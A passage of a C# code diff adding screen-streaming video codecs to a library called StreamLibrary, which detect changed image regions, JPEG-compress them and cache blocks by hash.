if (CodeTempBitmap.Width != bitmap.Width || CodeTempBitmap.Height != bitmap.Height)
throw new Exception("Bitmap width/height are not equal to previous bitmap");
if (bitmap.PixelFormat != CodeTempBitmap.PixelFormat)
throw new Exception("PixelFormat is not equal to previous Bitmap");
}
if (CodeTempBitmap == null)
{
byte[] temp = base.jpgCompression.Compress(bitmap);
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
outStream.Write(temp, 0, temp.Length);
CodeTempBitmap = bitmap;
return;
}
BitmapData bmpData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
BitmapData CodeBmpData = CodeTempBitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
int Stride = Math.Abs(bmpData.Stride);
List<Rectangle> Blocks = new List<Rectangle>();
for (int y = 0, i = 0; y < bitmap.Height; y++, i += Stride)
{
if(onCodeDebugScan != null)
onCodeDebugScan(new Rectangle(0, y, bitmap.Width, 1));
Rectangle ScanBlock = new Rectangle(0, y, bitmap.Width, 1);
if (NativeMethods.memcmp(new IntPtr(bmpData.Scan0.ToInt32() + i), new IntPtr(CodeBmpData.Scan0.ToInt32() + i), (uint)Stride) != 0)
{
int index = Blocks.Count - 1;
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == ScanBlock.Y)
{
ScanBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + ScanBlock.Height);
Blocks[index] = ScanBlock;
}
else
{
Blocks.Add(ScanBlock);
}
}
}
long oldPos = outStream.Position;
outStream.Write(new byte[4], 0, 4);
int TotalDataLength = 0;
for (int i = 0; i < Blocks.Count; i++)
{
Bitmap cloned = (Bitmap)bitmap.Clone(Blocks[i], bitmap.PixelFormat);
byte[] temp = base.jpgCompression.Compress(cloned);
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
outStream.Write(BitConverter.GetBytes((ushort)Blocks[i].Y), 0, 2);
outStream.Write(temp, 0, temp.Length);
cloned.Dispose();
TotalDataLength += 6 + temp.Length;
}
outStream.Position = oldPos;
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
bitmap.UnlockBits(bmpData);
CodeTempBitmap.UnlockBits(CodeBmpData);
if (onVideoStreamCoding != null)
onVideoStreamCoding(outStream, Blocks.ToArray());
if (CodeTempBitmap != null)
CodeTempBitmap.Dispose();
this.CodeTempBitmap = bitmap;
}
public override Bitmap DecodeData(Stream inStream)
{
if (!inStream.CanRead)
throw new Exception("Must have access to Read in the Stream");
if (DecodeTempBitmap == null)
{
byte[] temp = new byte[4];
inStream.Read(temp, 0, 4);
int DataSize = BitConverter.ToInt32(temp, 4);
temp = new byte[DataSize];
inStream.Read(temp, 0, temp.Length);
DecodeTempBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
return DecodeTempBitmap;
}
byte[] LenTemp = new byte[4];
inStream.Read(LenTemp, 0, 4);
int DataLength = BitConverter.ToInt32(LenTemp, 0);
//BitmapData BmpData = DecodeTempBitmap.LockBits(new Rectangle(0, 0, DecodeTempBitmap.Width, DecodeTempBitmap.Height), ImageLockMode.WriteOnly, DecodeTempBitmap.PixelFormat);
//int Stride = Math.Abs(BmpData.Stride);
while (DataLength > 0)
{
byte[] temp = new byte[6];
if (inStream.Read(temp, 0, temp.Length) != temp.Length)
break;
int DataSize = BitConverter.ToInt32(temp, 0);
ushort Y = BitConverter.ToUInt16(temp, 4);
temp = new byte[DataSize];
if (inStream.Read(temp, 0, temp.Length) != temp.Length)
break;
//copy new data to cached bitmap
Bitmap tmpBmp = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
using (Graphics g = Graphics.FromImage(DecodeTempBitmap))
{
g.DrawImage(tmpBmp, new Point(0, Y));
}
/*BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.WriteOnly, tmpBmp.PixelFormat);
int Offset = Y * Stride;
NativeMethods.memcpy(new IntPtr(BmpData.Scan0.ToInt32() + Offset), tmpData.Scan0, (uint)(tmpBmp.Height * Stride));*/
//tmpBmp.UnlockBits(tmpData);
tmpBmp.Dispose();
DataLength -= 6 + temp.Length;
}
//DecodeTempBitmap.UnlockBits(BmpData);
return DecodeTempBitmap;
}
}
}

View File

@ -0,0 +1,374 @@
using StreamLibrary.src;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.IO;
using System.Text;
namespace StreamLibrary.Codecs
{
public class SmallCachedStreamCodec : IVideoCodec
{
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
SortedList<int, byte[]> codeCached;
SortedList<int, byte[]> decodeCached;
public override int BufferCount
{
get { return codeCached.Count; }
}
public override ulong CachedSize
{
get;
internal set;
}
public override CodecOption CodecOptions
{
get { return CodecOption.AutoDispose | CodecOption.HasBuffers | CodecOption.RequireSameSize; }
}
private Size CheckBlock { get; set; }
public SimpleBitmap LastFrame { get; set; }
private object ImageProcessLock = new object();
private Bitmap decodedBitmap;
private CRC32 hasher;
public int MaxBuffers { get; private set; }
/// <summary>
/// Initialize a new object of SmallCachedStreamCodec
/// </summary>
/// <param name="MaxBuffers">The maximum amount of buffers, higher value will decrease stream size but could decrease performance</param>
/// <param name="ImageQuality">The image quality 0-100%</param>
public SmallCachedStreamCodec(int MaxBuffers = 5000, int ImageQuality = 100)
: base(ImageQuality)
{
CheckBlock = new Size(20, 1);
codeCached = new SortedList<int, byte[]>();
decodeCached = new SortedList<int, byte[]>();
hasher = new CRC32();
this.MaxBuffers = MaxBuffers;
}
private void SetLastFrame(ref Bitmap bmp)
{
SetLastFrame(new SimpleBitmap(bmp));
}
private void SetLastFrame(SimpleBitmap bmp)
{
lock (ImageProcessLock)
{
if (LastFrame != null && LastFrame.Locked)
LastFrame.Dispose(true);
LastFrame = bmp;
}
}
public override unsafe void CodeImage(Bitmap bitmap, Stream outStream)
{
lock (ImageProcessLock)
{
if (!outStream.CanWrite)
throw new Exception("Must have access to Write in the Stream");
if (LastFrame == null)
{
byte[] temp = base.jpgCompression.Compress(bitmap);
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
outStream.Write(temp, 0, temp.Length);
SetLastFrame(ref bitmap);
return;
}
long oldPos = outStream.Position;
outStream.Write(new byte[4], 0, 4);
int TotalDataLength = 0;
List<byte[]> updates = new List<byte[]>();
SimpleBitmap sbBmp = new SimpleBitmap(bitmap);
MemoryStream ms = new MemoryStream();
byte[] buffer = null;
if (!LastFrame.Locked)
LastFrame.Lock();
sbBmp.Lock();
if (sbBmp.Info.PixelSize != LastFrame.Info.PixelSize)
throw new Exception("PixelFormat is not equal to previous Bitmap");
if (LastFrame.Info.Width != sbBmp.Info.Width || LastFrame.Info.Height != sbBmp.Info.Height)
{
sbBmp.Unlock();
throw new Exception("Bitmap width/height are not equal to previous bitmap");
}
List<Rectangle> Blocks = new List<Rectangle>();
int index = 0;
int y = 0;
int x = 0;
Size s = new Size(bitmap.Width, CheckBlock.Height);
Size lastSize = new Size(bitmap.Width % CheckBlock.Width, bitmap.Height % CheckBlock.Height);
int lasty = bitmap.Height - lastSize.Height;
int lastx = bitmap.Width - lastSize.Width;
Rectangle cBlock = new Rectangle();
s = new Size(bitmap.Width, s.Height);
while (y != bitmap.Height)
{
if (y == lasty)
s = new Size(bitmap.Width, lastSize.Height);
cBlock = new Rectangle(0, y, bitmap.Width, s.Height);
if (onCodeDebugScan != null)
onCodeDebugScan(cBlock);
if (!SimpleBitmap.Compare(cBlock, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
//if (!SimpleBitmap.Compare(y, s.Height, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
{
index = Blocks.Count - 1;
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
{
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
Blocks[index] = cBlock;
}
else
{
Blocks.Add(cBlock);
}
}
y += s.Height;
}
List<CacheInfo> finalUpdates = new List<CacheInfo>();
const int CheckHeight = 50;
for (int i = 0; i < Blocks.Count; i++)
{
s = new Size(CheckBlock.Width, Blocks[i].Height);
y = Blocks[i].Y;
lasty = (Blocks[i].Y + Blocks[i].Height);
while (y != lasty)
{
int ScanHeight = y + CheckHeight > lasty ? lasty - y : CheckHeight;
x = 0;
while (x != bitmap.Width)
{
if (x == lastx)
s = new Size(lastSize.Width, Blocks[i].Height);
cBlock = new Rectangle(x, y, s.Width, ScanHeight);
if (onCodeDebugScan != null)
onCodeDebugScan(cBlock);
if (!SimpleBitmap.Compare(cBlock, sbBmp.Scan0_int, LastFrame.Scan0_int, sbBmp.Info))
{
/*byte[] tempData = new byte[0];
LastFrame.CopyBlock(cBlock, ref tempData);
finalUpdates.Add(new CacheInfo(0, false, tempData, cBlock));*/
//hash it and see if exists in cache
hasher = new CRC32(); //re-initialize for seed
byte[] tempData = new byte[0];
LastFrame.CopyBlock(cBlock, ref tempData);
int hash = BitConverter.ToInt32(hasher.ComputeHash(tempData), 0);
if (codeCached.Count >= MaxBuffers)
codeCached.RemoveAt(0);
if (codeCached.ContainsKey(hash))
{
CachedSize += (ulong)tempData.Length;
finalUpdates.Add(new CacheInfo(hash, true, new byte[0], cBlock));
}
else
{
//nothing found in cache let's use the normal way
codeCached.Add(hash, tempData);
finalUpdates.Add(new CacheInfo(hash, false, tempData, cBlock));
}
}
x += s.Width;
}
y += ScanHeight;
}
}
for (int i = 0; i < finalUpdates.Count; i++)
{
buffer = new byte[0];
Rectangle rect = finalUpdates[i].Rect;
if (!finalUpdates[i].isCached)
{
fixed (byte* ptr = finalUpdates[i].Data)
{
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * LastFrame.Info.PixelSize, LastFrame.bitmapData.PixelFormat, new IntPtr(ptr)))
{
buffer = base.jpgCompression.Compress(TmpBmp);
}
}
}
outStream.WriteByte(finalUpdates[i].isCached ? (byte)1 : (byte)0);
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.X), 0, 4);
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Y), 0, 4);
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Width), 0, 4);
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Height), 0, 4);
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Hash), 0, 4);
outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4);
outStream.Write(buffer, 0, buffer.Length);
TotalDataLength += buffer.Length + (4 * 6) + 1;
}
outStream.Position = oldPos;
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
Blocks.Clear();
SetLastFrame(sbBmp);
ms.Close();
ms.Dispose();
}
}
public override Bitmap DecodeData(Stream inStream)
{
byte[] temp = new byte[4];
inStream.Read(temp, 0, 4);
int DataSize = BitConverter.ToInt32(temp, 0);
if (decodedBitmap == null)
{
temp = new byte[DataSize];
inStream.Read(temp, 0, temp.Length);
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
return decodedBitmap;
}
List<Rectangle> updates = new List<Rectangle>();
Rectangle rect;
Graphics g = Graphics.FromImage(decodedBitmap);
Bitmap tmp;
byte[] buffer = null;
MemoryStream m;
List<CacheInfo> cacheInfo = new List<CacheInfo>();
byte[] HeaderData = new byte[(4 * 6) + 1];
while (DataSize > 0)
{
inStream.Read(HeaderData, 0, HeaderData.Length);
bool isCached = HeaderData[0] == 1;
rect = new Rectangle(BitConverter.ToInt32(HeaderData, 1), BitConverter.ToInt32(HeaderData, 5),
BitConverter.ToInt32(HeaderData, 9), BitConverter.ToInt32(HeaderData, 13));
int Hash = BitConverter.ToInt32(HeaderData, 17);
int UpdateLen = BitConverter.ToInt32(HeaderData, 21);
buffer = new byte[UpdateLen];
inStream.Read(buffer, 0, buffer.Length);
//process update data
if (isCached)
{
//data is cached
if (decodeCached.ContainsKey(Hash))
buffer = decodeCached[Hash];
else
{
}
cacheInfo.Add(new CacheInfo(Hash, true, new byte[0], rect));
}
if (onDecodeDebugScan != null)
onDecodeDebugScan(rect);
if (buffer.Length > 0)
{
m = new MemoryStream(buffer);
tmp = (Bitmap)Image.FromStream(m);
g.DrawImage(tmp, rect.Location);
tmp.Dispose();
m.Close();
m.Dispose();
}
if (decodeCached.Count >= MaxBuffers)
decodeCached.RemoveAt(0);
if(!decodeCached.ContainsKey(Hash))
this.decodeCached.Add(Hash, buffer);
DataSize -= UpdateLen + HeaderData.Length;
}
int CachedSize = 0;
foreach(CacheInfo inf in cacheInfo)
{
CachedSize += (inf.Rect.Width * 4) * inf.Rect.Height;
}
Console.WriteLine(cacheInfo.Count + ", " + CachedSize);
g.Dispose();
return decodedBitmap;
}
private class CacheInfo
{
public bool isCached = false;
public byte[] Data;
public int Hash;
public Rectangle Rect;
public CacheInfo(int Hash, bool isCached, byte[] Data, Rectangle Rect)
{
this.Hash = Hash;
this.isCached = isCached;
this.Data = Data;
this.Rect = Rect;
}
/*public unsafe void CreateHashList(SimpleBitmap sBmp, Size CheckBlock, SmallCachedStreamCodec codec)
{
if (ScanRects.Count > 0)
{
int scanX = ScanRects[0].X;
for (int i = 0; i < ScanRects.Count; i++)
{
int scanWidth = ScanRects[i].Width > CheckBlock.Width ? CheckBlock.Width : ScanRects[i].Width;
Rectangle rect = ScanRects[i];
rect.Width = scanWidth;
rect.X = scanX;
byte[] buffer = new byte[0];
sBmp.CopyBlock(rect, ref buffer);
int hash = BitConverter.ToInt32(new CRC32().ComputeHash(buffer), 0);
if (!HashList.ContainsKey(hash))
HashList.Add(hash, rect);
//fixed (byte* ptr = buffer)
//{
// using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * sBmp.Info.PixelSize, sBmp.bitmapData.PixelFormat, new IntPtr(ptr)))
// {
// buffer = codec.lzwCompression.Compress(TmpBmp);
//
// }
//}
scanX += scanWidth;
}
}
}*/
}
}
}

View File

@ -0,0 +1,266 @@
using StreamLibrary.src;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.IO;
using System.Text;
namespace StreamLibrary.Codecs
{
public class SmallStreamCodec : IVideoCodec
{
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
public override int BufferCount
{
get { return 1; }
}
public override ulong CachedSize
{
get;
internal set;
}
public override CodecOption CodecOptions
{
get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
}
public Size CheckBlock { get; set; }
public SimpleBitmap LastFrame { get; set; }
private object ImageProcessLock = new object();
private Bitmap decodedBitmap;
/// <summary>
/// Initialize a new object of SmallStreamCodec
/// </summary>
/// <param name="ImageQuality">The image quality 0-100%</param>
public SmallStreamCodec(int ImageQuality = 100)
: base(ImageQuality)
{
CheckBlock = new Size(20, 1);
}
private void SetLastFrame(ref Bitmap bmp)
{
SetLastFrame(new SimpleBitmap(bmp));
}
private void SetLastFrame(SimpleBitmap bmp)
{
lock (ImageProcessLock)
{
if (LastFrame != null && LastFrame.Locked)
LastFrame.Dispose(true);
LastFrame = bmp;
}
}
/// <summary>
/// Encode the image
/// </summary>
/// <param name="bitmap">The image you want to encode.</param>
/// <param name="outStream">The output stream</param>
public override unsafe void CodeImage(Bitmap bitmap, Stream outStream)
{
lock (ImageProcessLock)
{
if (!outStream.CanWrite)
throw new Exception("Must have access to Write in the Stream");
if (LastFrame == null)
{
byte[] temp = base.jpgCompression.Compress(bitmap);
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
outStream.Write(temp, 0, temp.Length);
SetLastFrame(ref bitmap);
return;
}
long oldPos = outStream.Position;
outStream.Write(new byte[4], 0, 4);
int TotalDataLength = 0;
List<byte[]> updates = new List<byte[]>();
SimpleBitmap sbBmp = new SimpleBitmap(bitmap);
MemoryStream ms = new MemoryStream();
byte[] buffer = null;
if (!LastFrame.Locked)
LastFrame.Lock();
sbBmp.Lock();
if (sbBmp.Info.PixelSize != LastFrame.Info.PixelSize)
throw new Exception("PixelFormat is not equal to previous Bitmap");
if (LastFrame.Info.Width != sbBmp.Info.Width || LastFrame.Info.Height != sbBmp.Info.Height)
{
sbBmp.Unlock();
throw new Exception("Bitmap width/height are not equal to previous bitmap");
}
List<Rectangle> Blocks = new List<Rectangle>();
int index = 0;
int y = 0;
int x = 0;
Size s = new Size(bitmap.Width, CheckBlock.Height);
Size lastSize = new Size(bitmap.Width % CheckBlock.Width, bitmap.Height % CheckBlock.Height);
int lasty = bitmap.Height - lastSize.Height;
int lastx = bitmap.Width - lastSize.Width;
Rectangle cBlock = new Rectangle();
s = new Size(bitmap.Width, s.Height);
while (y != bitmap.Height)
{
if (y == lasty)
s = new Size(bitmap.Width, lastSize.Height);
cBlock = new Rectangle(0, y, bitmap.Width, s.Height);
if (onCodeDebugScan != null)
onCodeDebugScan(cBlock);
if (!SimpleBitmap.Compare(cBlock, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
//if (!SimpleBitmap.Compare(y, s.Height, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
{
index = Blocks.Count - 1;
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
{
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
Blocks[index] = cBlock;
}
else
{
Blocks.Add(cBlock);
}
}
y += s.Height;
}
List<Rectangle> finalUpdates = new List<Rectangle>();
for (int i = 0; i < Blocks.Count; i++)
{
s = new Size(CheckBlock.Width, Blocks[i].Height);
x = 0;
while (x != bitmap.Width)
{
if (x == lastx)
s = new Size(lastSize.Width, Blocks[i].Height);
cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
if (onCodeDebugScan != null)
onCodeDebugScan(cBlock);
if (!SimpleBitmap.Compare(cBlock, sbBmp.Scan0_int, LastFrame.Scan0_int, sbBmp.Info))
{
index = finalUpdates.Count - 1;
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
{
Rectangle rect = finalUpdates[index];
int newWidth = cBlock.Width + rect.Width;
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
finalUpdates[index] = cBlock;
}
else
{
finalUpdates.Add(cBlock);
}
}
x += s.Width;
}
}
for (int i = 0; i < finalUpdates.Count; i++)
{
Rectangle rect = finalUpdates[i];
sbBmp.CopyBlock(rect, ref buffer);
fixed (byte* ptr = buffer)
{
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * LastFrame.Info.PixelSize, LastFrame.bitmapData.PixelFormat, new IntPtr(ptr)))
{
buffer = base.jpgCompression.Compress(TmpBmp);
}
}
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4);
outStream.Write(buffer, 0, buffer.Length);
TotalDataLength += buffer.Length + (4 * 5);
}
outStream.Position = oldPos;
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
Blocks.Clear();
SetLastFrame(sbBmp);
ms.Close();
ms.Dispose();
}
}
/// <summary>
/// Decode the video stream
/// </summary>
/// <param name="inStream">The input stream</param>
/// <returns>The image that has been decoded</returns>
public override Bitmap DecodeData(Stream inStream)
{
byte[] temp = new byte[4];
inStream.Read(temp, 0, 4);
int DataSize = BitConverter.ToInt32(temp, 0);
if (decodedBitmap == null)
{
temp = new byte[DataSize];
inStream.Read(temp, 0, temp.Length);
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
return decodedBitmap;
}
List<Rectangle> updates = new List<Rectangle>();
Rectangle rect;
Graphics g = Graphics.FromImage(decodedBitmap);
Bitmap tmp;
byte[] buffer = null;
MemoryStream m;
while (DataSize > 0)
{
byte[] tempData = new byte[4 * 5];
inStream.Read(tempData, 0, tempData.Length);
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
int UpdateLen = BitConverter.ToInt32(tempData, 16);
buffer = new byte[UpdateLen];
inStream.Read(buffer, 0, buffer.Length);
if (onDecodeDebugScan != null)
onDecodeDebugScan(rect);
m = new MemoryStream(buffer);
tmp = (Bitmap)Image.FromStream(m);
g.DrawImage(tmp, rect.Location);
tmp.Dispose();
m.Close();
m.Dispose();
DataSize -= buffer.Length + (4 * 5);
}
g.Dispose();
return decodedBitmap;
}
}
}

View File

@ -0,0 +1,26 @@
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Text;
namespace StreamLibrary.Encoders.GridCoder
{
internal class GridBlock
{
public Rectangle Rect { get; private set; }
public ulong Hash { get; private set; }
private GridEncoder encoder;
public GridBlock(Rectangle Rect, GridEncoder encoder)
{
this.encoder = encoder;
this.Rect = Rect;
CalculateHash();
}
public void CalculateHash()
{
}
}
}

View File

@ -0,0 +1,47 @@
using System;
using System.Collections.Generic;
using System.Text;
namespace StreamLibrary.Encoders.GridCoder
{
public class GridEncoder : IEncoder
{
public override ulong CachedSize
{
get;
internal set;
}
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
public override int BufferCount
{
get { return 1; }
}
public override CodecOption CodecOptions
{
get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
}
public override unsafe void CodeImage(IntPtr Scan0, System.Drawing.Rectangle ScanArea, System.Drawing.Size ImageSize, System.Drawing.Imaging.PixelFormat Format, System.IO.Stream outStream)
{
}
public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream)
{
return null;
}
public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
{
return null;
}
}
}

View File

@ -0,0 +1,24 @@
using System;
using System.Collections.Generic;
using System.Text;
namespace StreamLibrary
{
public enum CodecOption
{
/// <summary>
/// The Previous and next image size must be equal
/// </summary>
RequireSameSize,
/// <summary>
/// If the codec is having a stream buffer
/// </summary>
HasBuffers,
/// <summary>
/// The image will be disposed by the codec and shall not be disposed by the user
/// </summary>
AutoDispose,
/// <summary> No codec options were used </summary>
None
};
}

View File

@ -0,0 +1,46 @@
using StreamLibrary.src;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Text;
namespace StreamLibrary
{
public abstract class IEncoder
{
protected LzwCompression lzwCompression;
public abstract ulong CachedSize { get; internal set; }
protected object ImageProcessLock { get; private set; }
private int _imageQuality;
public int ImageQuality
{
get { return _imageQuality; }
set
{
_imageQuality = value;
lzwCompression = new LzwCompression(value);
}
}
public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
public IEncoder(int ImageQuality = 100)
{
this.ImageQuality = ImageQuality;
this.ImageProcessLock = new object();
}
public abstract int BufferCount { get; }
public abstract CodecOption CodecOptions { get; }
public abstract unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream);
public abstract unsafe Bitmap DecodeData(Stream inStream);
public abstract unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length);
}
}

View File

@ -0,0 +1,46 @@
using StreamLibrary.src;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Text;
namespace StreamLibrary
{
public abstract class IUnsafeCodec
{
protected JpgCompression jpgCompression;
protected LzwCompression lzwCompression;
public abstract ulong CachedSize { get; internal set; }
protected object ImageProcessLock { get; private set; }
private int _imageQuality;
public int ImageQuality
{
get { return _imageQuality; }
set
{
_imageQuality = value;
jpgCompression = new JpgCompression(value);
lzwCompression = new LzwCompression(value);
}
}
public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
public IUnsafeCodec(int ImageQuality = 100)
{
this.ImageQuality = ImageQuality;
this.ImageProcessLock = new object();
}
public abstract int BufferCount { get; }
public abstract CodecOption CodecOptions { get; }
public abstract unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream);
public abstract unsafe Bitmap DecodeData(Stream inStream);
public abstract unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length);
}
}

View File

@ -0,0 +1,35 @@
using StreamLibrary.src;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.IO;
using System.Text;
namespace StreamLibrary
{
public abstract class IVideoCodec
{
public delegate void VideoCodeProgress(Stream stream, Rectangle[] MotionChanges);
public delegate void VideoDecodeProgress(Bitmap bitmap);
public delegate void VideoDebugScanningDelegate(Rectangle ScanArea);
public abstract event VideoCodeProgress onVideoStreamCoding;
public abstract event VideoDecodeProgress onVideoStreamDecoding;
public abstract event VideoDebugScanningDelegate onCodeDebugScan;
public abstract event VideoDebugScanningDelegate onDecodeDebugScan;
protected JpgCompression jpgCompression;
public abstract ulong CachedSize { get; internal set; }
public int ImageQuality { get; set; }
public IVideoCodec(int ImageQuality = 100)
{
this.jpgCompression = new JpgCompression(ImageQuality);
this.ImageQuality = ImageQuality;
}
public abstract int BufferCount { get; }
public abstract CodecOption CodecOptions { get; }
public abstract void CodeImage(Bitmap bitmap, Stream outStream);
public abstract Bitmap DecodeData(Stream inStream);
}
}

View File

@ -0,0 +1,324 @@
using StreamLibrary.src;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Text;
namespace StreamLibrary.UnsafeCodecs
{
public class UnsafeCacheCodec : IUnsafeCodec
{
private const int BlockCount = 5;
private const int HashBlockCount = 8192;
public override ulong CachedSize
{
get { return 0; }
internal set { }
}
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
public override int BufferCount
{
get { return 0; }
}
public override CodecOption CodecOptions
{
get { return CodecOption.HasBuffers | CodecOption.RequireSameSize; }
}
private Bitmap decodedBitmap;
private int EncodedWidth;
private int EncodedHeight;
private PixelFormat EncodedFormat;
private MurmurHash2Unsafe hasher;
private SortedList<int, SortedList<int, uint>> EncodeBuffer;
private Rectangle[] Offsets;
private BlockInfo[] EncodeHashBlocks;
private BlockInfo[] DecodeHashBlocks;
public ulong EncodedFrames { get; private set; }
public ulong DecodedFrames { get; private set; }
public UnsafeCacheCodec(int ImageQuality = 80)
: base(ImageQuality)
{
this.hasher = new MurmurHash2Unsafe();
this.Offsets = new Rectangle[BlockCount];
this.EncodeHashBlocks = new BlockInfo[HashBlockCount];
this.DecodeHashBlocks = new BlockInfo[HashBlockCount];
for (int i = 0; i < HashBlockCount; i++)
{
EncodeHashBlocks[i] = new BlockInfo();
DecodeHashBlocks[i] = new BlockInfo();
}
}
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
{
if (ImageSize.Width == 0 || ImageSize.Height == 0)
throw new ArgumentException("The width and height must be 1 or higher");
if (ImageSize.Width < BlockCount || ImageSize.Height < BlockCount)
throw new Exception("The Image size Width/Height must be bigger then the Block Count " + BlockCount + "x" + BlockCount);
int PixelSize = 0;
switch (Format)
{
case PixelFormat.Format24bppRgb:
PixelSize = 3;
break;
case PixelFormat.Format32bppArgb:
case PixelFormat.Format32bppPArgb:
PixelSize = 4;
break;
default:
throw new NotSupportedException(Format.ToString());
}
int Stride = ImageSize.Width * PixelSize;
int RawLength = Stride * ImageSize.Height;
if (EncodedFrames == 0)
{
this.EncodedFormat = Format;
this.EncodedWidth = ImageSize.Width;
this.EncodedHeight = ImageSize.Height;
byte[] temp = null;
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
{
temp = base.jpgCompression.Compress(TmpBmp);
}
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
outStream.Write(temp, 0, temp.Length);
double size = (double)ImageSize.Width / (double)BlockCount;
//fix floating point here
for (int i = 0, j = 0; i < BlockCount; i++, j += (int)size)
{
Offsets[i] = new Rectangle(j, 0, (int)size, 1);
}
EncodeBuffer = new SortedList<int, SortedList<int, uint>>();
for (int y = 0; y < ImageSize.Height; y++)
{
for(int i = 0; i < Offsets.Length; i++)
{
if (!EncodeBuffer.ContainsKey(y))
EncodeBuffer.Add(y, new SortedList<int, uint>());
if (!EncodeBuffer[y].ContainsKey(Offsets[i].X))
EncodeBuffer[y].Add(Offsets[i].X, 0); //0=hash
}
}
EncodedFrames++;
return;
}
long oldPos = outStream.Position;
outStream.Write(new byte[4], 0, 4);
int TotalDataLength = 0;
List<HashBlock> ImageOffsets = new List<HashBlock>();
List<uint> ImageHashes = new List<uint>();
byte* pScan0 = (byte*)Scan0.ToInt32();
for (int i = 0; i < Offsets.Length; i++)
{
for (int y = 0; y < ImageSize.Height; y++)
{
